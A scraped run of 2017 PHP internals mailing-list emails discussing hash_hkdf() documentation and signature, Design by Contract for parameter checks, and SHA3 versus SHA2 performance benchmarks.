Hi Pieter and all, On Thu, Apr 13, 2017 at 5:11 PM, Pieter Hordijk <i...@pieterhordijk.com> wrote: > Is this really something we need in our official docs instead of for > example > on a personal blog? > I wrote draft doc patch. Please verify. Index: en/reference/hash/functions/hash-hkdf.xml === --- en/reference/hash/functions/hash-hkdf.xml(リビジョン 342317) +++ en/reference/hash/functions/hash-hkdf.xml(作業コピー) @@ -3,7 +3,7 @@ http://docbook.org/ns/docbook; xmlns:xlink="http://www.w3.org/1999/xlink;> hash_hkdf - Generate a HKDF key derivation of a supplied key input + Derive secure new key from existing key by using HKDF @@ -16,6 +16,20 @@ stringsalt'' + + RFC 5869 defines HKDF (HMAC based Key Derivation Function) which + is general purpose KDF. HKDF could be useful for many PHP + applications that require temporary keys, such CSRF token, + pre-signed key for URI, password for password protected + URI, and so on. + + + + When info and length + is not required for your program, more efficient + hash_hmac could be used instead. + + @@ -25,7 +39,7 @@ algo - Name of selected hashing algorithm (i.e. "sha256", "sha512", "haval160,4", etc..) + Name of selected hashing algorithm (i.e. "sha3-256", "sha3-512", "sha256", "sha512", "haval160,4", etc..) See hash_algos for a list of supported algorithms. @@ -39,7 +53,7 @@ ikm - Input keying material (raw binary). Cannot be empty. + Input keying material. Cannot be empty. @@ -60,7 +74,8 @@ info - Application/context-specific info string. + Application/context-specific info string. Info is intended for + public information such as user ID, protocol version, etc. @@ -71,8 +86,32 @@ Salt to use during derivation. - While optional, adding random salt significantly improves the strength of HKDF. +While optional, adding random salt significantly improves the +strength of HKDF. Salt could be either secret or +non-secret. It is used as "Pre Shared Key" in many use cases. +Strong value is preferred. e.g. Use random_bytes. +Optimal salt size is size of used hash algorithm. + + + Although salt is the last optional parameter, salt is the + most important parameter for key security. Omitted salt is + indication of inappropriate design in most cases. Users must + set appropriate salt value whenever it is possible. Omit salt + only when it cannot be used. + + + Strong salt is mandatory and must be kept secret when input + key is weak, otherwise input key security will not be kept. + Even when input key is strong, providing strong salt is the + best practice for the best possible key security. + + + Salt must not be able to be controlled by users. i.e. User + must not be able to set salt value and get derived key. User + controlled salt allows input key analysis to attackers. + + @@ -101,6 +140,99 @@ +URI specific CSRF token that supports expiration by hash_hkdf + + + + + Common CSRF token uses the same token value for a session and all + URI. This example CSRF token expires and is specific to a + URI. i.e. CSRF token http://example.com/form_A/ is not valid for + http://example.com/form_B/ Since token value is computed, no + database is required. + + + + + hash_hkdf example + + + @@ -130,6 +286,7 @@ +hash_hmac hash_pbkdf2 RFC 5869 userland implementation -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Pieter, On Thu, Apr 13, 2017 at 5:38 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > On Thu, Apr 13, 2017 at 5:11 PM, Pieter Hordijk <i...@pieterhordijk.com> > wrote: > >> To be honest I am afraid of ending up with something like the current >> state >> of the session docs. Which are imo way too broad / opinionated, non >> English, >> contains utterly confusing examples and / or flat out wrong and broken >> examples. >> Above already resulted in a stream of docs bugs regarding session pages >> and a lot of confused readers. >> > > You may consider my opinion as my personal opinion. I don't know of other > than > me who had that opinion then. > > After our session discussion, it seems OWASP adopted most of discussed > elements in their doc ;) > I'm not exactly sure which part you consider as personal blog. Current session management is too loose and insecure in many ways. Since mandatory features for precise session management are not implemented, the doc is intermediate. I'm willing to improve the doc and appreciate improvement suggestions always. Feel free to send to my personal mail address. Required information for precise and secure session management should be in Precise Session Management RFC https://wiki.php.net/rfc/precise_session_management I appreciate if one could add missing documentation for precise session management. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Peiter, On Thu, Apr 13, 2017 at 5:11 PM, Pieter Hordijk <i...@pieterhordijk.com> wrote: > To be honest I am afraid of ending up with something like the current state > of the session docs. Which are imo way too broad / opinionated, non > English, > contains utterly confusing examples and / or flat out wrong and broken > examples. > Above already resulted in a stream of docs bugs regarding session pages > and a lot of confused readers. > You may consider my opinion as my personal opinion. I don't know of other than me who had that opinion then. After our session discussion, it seems OWASP adopted most of discussed elements in their doc ;) https://www.owasp.org/index.php/Session_Management_Cheat_Sheet Regards, P.S. My opinion is based on RFC 5869. In addition, it's totally nonsense to me to have completely different signature for hash_hkdf(). See the difference hash_hmac() and hash_pbkdf2(). hash_pbkdf2() is older KDF function. I should have mention in the RFC :( -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Joe, On Wed, Apr 12, 2017 at 7:46 PM, Joe Watkins <pthre...@pthreads.org> wrote: > This RFC was left open for 5 days past the end of voting as declared on > the RFC. > Thank you, I forgot about this. IMHO, it's a shame for us we should have inconsistent and insecure function signature for a new function. I'm going to update the manual to add warning notes and example usages like advanced CRFS token dedicated for specific URL with expiration time. I can think of length option only usage, but I cannot think usage that could be useful for majority of PHP users like advanced CSRF token. Andrey, Could you give us some length only and length/info only example that could be useful for most PHP users. It should be safe and recommended usage. I suppose you should have some good examples. Thank you. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] scalar type-casting
Hi Rasmus, On Mon, Apr 10, 2017 at 5:18 PM, Rasmus Schultz <ras...@mindplay.dk> wrote: > My concern is actually neither performance nor brevity - my concern is, > can you read the code and actually understand what it does, can you write > code without running into surprising side-effects, and so on. Users must not write code that has side effect, just like user must not do it with assert(). DbC has 2 main merits - ensure program correctness by pre/post conditions (and invariant) during development. - better performance and security. With DbC, it's easy to write and maintain _all_ "necessary and sufficient conditions" for _every_ functions/methods that makes sure program correctness. Unit Test can't achieve what DbC can. i.e. It is not feasible to write all "necessary and sufficient conditions" unit tests for every single functions/methods. invariant check is even more difficult. The most important DbC merit is "Ensured program correctness", then security. Performance would be the least important for PHP as you mentioned. P.S. DbC is not a Unit Test replacement. Unless there is Unit Test, pre/post/invariant conditions cannot be checked easily/repeatedly. -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] scalar type-casting
Hi Rasmus,
Although DbC is not what you need, but DbC could solve your issue
more efficiently. i.e. Faster execution, not shorter code.
https://wiki.php.net/rfc/dbc2
With DbC, caller has responsibility to pass correct parameters.
On Sun, Apr 9, 2017 at 6:30 PM, Rasmus Schultz <ras...@mindplay.dk> wrote:
>
> $one = "1";
> $one_int = (int) $one;
> add_one($one_int);
>
add_one(&$value)
require (is_int($value))
{
$value += 1;
}
// Caller has responsibility to pass correct parameters.
$one = filter_validate($_GET['var'], FILTER_VALIDATE_INT);
add_one($one);
> class Foo { public function __toString() { return "foo"; } }
> function append_to(string &$str) { $str .= "_bar"; }
> $foo = new Foo();
> append_to($foo);
> var_dump($foo); // string(7) "foo_bar"
class Foo { public function __toString() { return "foo"; } }
function append_to(&$str)
require (is_string($str))
{
$str .= "_bar";
}
$foo = new Foo();
// Caller has responsibility to pass correct parameters, but it's not
append_to($foo); // Error at DbC precondition check in append_foo()
var_dump($foo); // Cannot reach here in dev mode
I really like parameter type check.
Problem is type check makes execution slower.
Another problem is type check is not enough for many codes.
With DbC support, we can specify any expressions. Therefore, we can
check much more complex requirements for functions/methods at
development time.
e.g.
function save_age($user_age)
require (is_int($user_age))
require ($user_age >= 0)
require ($user_age < 150)
{
save_to_somewehre($user_age);
}
//Note: All input parameters must be validated to be correct value for the
app. e.g. use filter_validate()/etc
What you really need might be DbC.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] SHA3 is very slow
Hi Christian,
On Thu, Apr 6, 2017 at 12:45 AM, Christian Schneider <cschn...@cschneid.com>
wrote:
>
> I created a pull request at https://github.com/php/php-src/pull/2453 for
> a version using the KeccakCodePackage version from
> https://github.com/gvanas/KeccakCodePackage which yields ~30 times faster
> results for a simple test.
>
Nice work!!
SHA3 is now faster than SHA2.
Small String
[yohgaki@dev php-src]$ time ./php-bin -r '$s = microtime(true); for ($i =
0; $i < 100; $i++) { hash("sha256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(0.46163821220398)
real0m0.557s
user0m0.471s
sys0m0.086s
[yohgaki@dev php-src]$ time ./php-bin -r '$s = microtime(true); for ($i =
0; $i < 100; $i++) { hash("sha3-256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(0.57230806350708)
real0m0.585s
user0m0.579s
sys0m0.006s
Large String
[yohgaki@dev php-src]$ time ./php-bin -r '$s = microtime(true);$v =
str_repeat("a", 999); for ($i = 0; $i < 100; $i++) { hash("sha256",
$v); } var_dump(microtime(true) - $s); '
float(4.6689560413361)
real0m4.691s
user0m4.675s
sys0m0.009s
[yohgaki@dev php-src]$ time ./php-bin -r '$s = microtime(true);$v =
str_repeat("a", 999); for ($i = 0; $i < 100; $i++) { hash("sha3-256",
$v); } var_dump(microtime(true) - $s); '
float(2.9090809822083)
real0m2.928s
user0m2.919s
sys0m0.005s
> I don't know whether the PHP maintainers prefer to keep the (very short)
> inline reference implementation which is slow or whether the optimised
> version from KeccakCodePackage with around a dozen files would be
> acceptable.
>
> I put the (part which is used from the) KeccakCodePackage code (without
> modifications!) in a separate directory under ext/hash/sha3 and I also
> implemented switching between a 64bit and a 32bit version. Don't know if
> this is necessary and following all the guidelines.
>
> Oh, I also only superficially scanned
> https://github.com/gvanas/KeccakCodePackage#under-which-
> license-is-the-kcp-distributed
> but it looked like it should be ok. Not an expert on this though ;-)
>
It's fine for me.
I'll wait few weeks for more comments.
If not, I'll merge your PR to master.
I don't think we really need to merge it to released version.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] SHA3 is very slow
Hi Christian,
On Mon, Apr 3, 2017 at 8:44 PM, Christian Schneider <cschn...@cschneid.com>
wrote:
> Two things I noticed:
> 1) As far as I understand Ruby (and as far as I tested it) this does not
> execute the function at all. You probably mean something like
> while $i > 0 do
>
Oops, forgot to add "== 0"
[yohgaki@dev ~]$ cat t.rb
#!/usr/bin/env ruby
require 'digest/sha2'
$i = 100
until $i == 0 do
Digest::SHA2.hexdigest("abcdedf", 256)
$i -= 1
end
[yohgaki@dev ~]$ time ruby t.rb
real 0m1.790s
user 0m1.596s
sys 0m0.194s
[yohgaki@dev ~]$ cat t2.rb
#!/usr/bin/env ruby
require 'digest/sha2'
$i = 100
until $i == 0 do
Digest::SHA3.hexdigest("abcdedf", 256)
$i -= 1
end
[yohgaki@dev ~]$ time ruby t2.rb
real 0m2.594s
user 0m2.429s
sys 0m0.165s
PHP's sha3 seems slower than it could be.
I knew DJB benchmark before the tests, so I was sloppy.
> 2) For some reason the Ruby implementation yields different results, I
> didn't track down why.
> - hash("sha3-256", "abc"); => 3a985da74fe225b2045c172d6bd390
> bd855f086e3e9d525b46bfe24511431532
> which matches the test vector at http://www.di-mgt.com.au/sha_t
> estvectors.html
> - Digest::SHA3.hexdigest("abc", 256) =>
> 4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45
>
> For whatever reason this is, it means that you can't really compare those
> two functions.
>
Nice finding.
https://github.com/phusion/digest-sha3-ruby
seems a little old. It may not implement final version.
Whichever is wrong, we may be better look into this.
Anyway, it seems someone is better to try to improve SHA3 performance.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] SHA3 is very slow
Hi Sara, On Sat, Apr 1, 2017 at 12:24 PM, Sara Golemon <poll...@php.net> wrote: > On Fri, Mar 31, 2017 at 10:12 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > I noticed that our SHA-3 is inefficient. > > > Entirely possible. Feel free to improve it. :D I would like to, but it wouldn't happen in short time. I also would like to have SHAKE algorithm. Perhaps, hash_shake($also, $msg, $len [, $binary=false])? Anyone, please improve it :D Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
[PHP-DEV] SHA3 is very slow
Hi all,
I noticed that our SHA-3 is inefficient.
=== Ruby SHA3-256 ===
[yohgaki@dev ~]$ cat t2.rb
#!/usr/bin/env ruby
require 'digest/sha2'
$i = 100
until $i do
Digest::SHA3.hexdigest("abcdedf", 256)
$i -= 1
end
[yohgaki@dev ~]$ time ruby t2.rb
real 0m0.438s
user 0m0.216s
sys 0m0.222s
[yohgaki@dev ~]$ time ruby t2.rb
real 0m0.429s
user 0m0.228s
sys 0m0.202s
[yohgaki@dev ~]$
=== Ruby SHA2-256 ===
[yohgaki@dev ~]$ cat t.rb
#!/usr/bin/env ruby
require 'digest/sha2'
$i = 100
until $i do
Digest::SHA2.hexdigest("abcdedf", 256)
$i -= 1
end
[yohgaki@dev ~]$ time ruby t.rb
real 0m0.431s
user 0m0.228s
sys 0m0.205s
[yohgaki@dev ~]$ time ruby t.rb
real 0m0.409s
user 0m0.208s
sys 0m0.203s
=== PHP master SHA3-256 ===
[yohgaki@dev PHP-master]$ time ./php-bin -r '$s = microtime(true); for ($i
= 0; $i < 100; $i++) { hash("sha3-256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(2.7503371238708)
real 0m2.764s
user 0m2.755s
sys 0m0.005s
[yohgaki@dev PHP-master]$ time ./php-bin -r '$s = microtime(true); for ($i
= 0; $i < 100; $i++) { hash("sha3-256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(2.8106999397278)
real 0m2.831s
user 0m2.823s
sys 0m0.003s
=== PHP master SHA2-256 ===
[yohgaki@dev PHP-master]$ time ./php-bin -r '$s = microtime(true); for ($i
= 0; $i < 100; $i++) { hash("sha256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(0.48856687545776)
real 0m0.502s
user 0m0.499s
sys 0m0.002s
[yohgaki@dev PHP-master]$ time ./php-bin -r '$s = microtime(true); for ($i
= 0; $i < 100; $i++) { hash("sha256", "abcdefg"); }
var_dump(microtime(true) - $s); '
float(0.48898410797119)
real 0m0.505s
user 0m0.499s
sys 0m0.005s
As you can see, PHP's SHA3 is about 6 times slower.
According to DJB's benchmark, it seems SHA-3 could be as fast as SHA-2.
https://bench.cr.yp.to/results-sha3.html
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi all, - insecure signature (it ignores strong RFC 5689 recommendation) s/RFC 5689/RFC 5869/ On Sat, Apr 1, 2017 at 11:27 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > > Given that the function is live in the wild, massively changing the order >> of things and defaults is an instant red flag for myself, and I believe a >> lot of other people. >> > > Aside from it should not be merged into PHP 7.1 in the first place. > There are only 2 (or 3) bug fix versions released. Fixing mistake ASAP is > better. IMHO. > > > To me this sounds more like an issue that could be relatively quickly >> improved by a documentation update that highlights how to securely use the >> function. >> > > While documentation may work, it seems silly for me to write, > > Even if "salt" is the last optional parameter, users must set > appropriate "salt" whenever it is possible for maximum key security. > Another possible resolution could be reverting hash_hkdf() merge from 7.1 branch. Basic hash_hkdf() operation could be done by hash_hmac() easily. The merge should have had PHP RFC. Reverting hash_hkdf() merge may work better. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC][VOTE] Improve hash_hkdf() parameter
Hi Stephen, On Mon, Mar 27, 2017 at 1:09 PM, Stephen Reay <php-li...@koalephant.com> wrote: > > It sounds to me like it is *possible* to currently use hash_hkdf() in a > secure manner, but that you (and some others?) feel the arg order and > default args are not conducive to safe/secure usage. > It's _possible_, of course. Problem is _new_ function has - insecure signature (it ignores strong RFC 5689 recommendation) - inconsistent signature and return value (hash() and hash_hmac()) - no major use(application) for PHP apps (Length has almost no use with PHP apps) If users would like to generate arbitrary length hash from existing hash value with _insecure_ way, they should use new SHA-3 standards, i.e. SHA-3 already has 2 SHAKE algorithms that generate arbitrary length hash value, SHAKE128(M, d) and SHAKE256(M, d). No reason to encourage less secure HKDF usage to obtain arbitrary length hash value. Current hash_hkdf() signature does not make much sense with regard to cryptographically, consistency and expected usage. Given that the function is live in the wild, massively changing the order > of things and defaults is an instant red flag for myself, and I believe a > lot of other people. > Aside from it should not be merged into PHP 7.1 in the first place. There are only 2 (or 3) bug fix versions released. Fixing mistake ASAP is better. IMHO. To me this sounds more like an issue that could be relatively quickly > improved by a documentation update that highlights how to securely use the > function. > While documentation may work, it seems silly for me to write, Even if "salt" is the last optional parameter, users must set appropriate "salt" whenever it is possible for maximum key security. for new function. Yes, if there are more secure defaults that would be nice, but that ship > has sailed, and the function was on it. Thank you for your comment. I would like to try to fix it at least. To avoid this kind of confusions, we are better to have RFC if there is strong objection. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
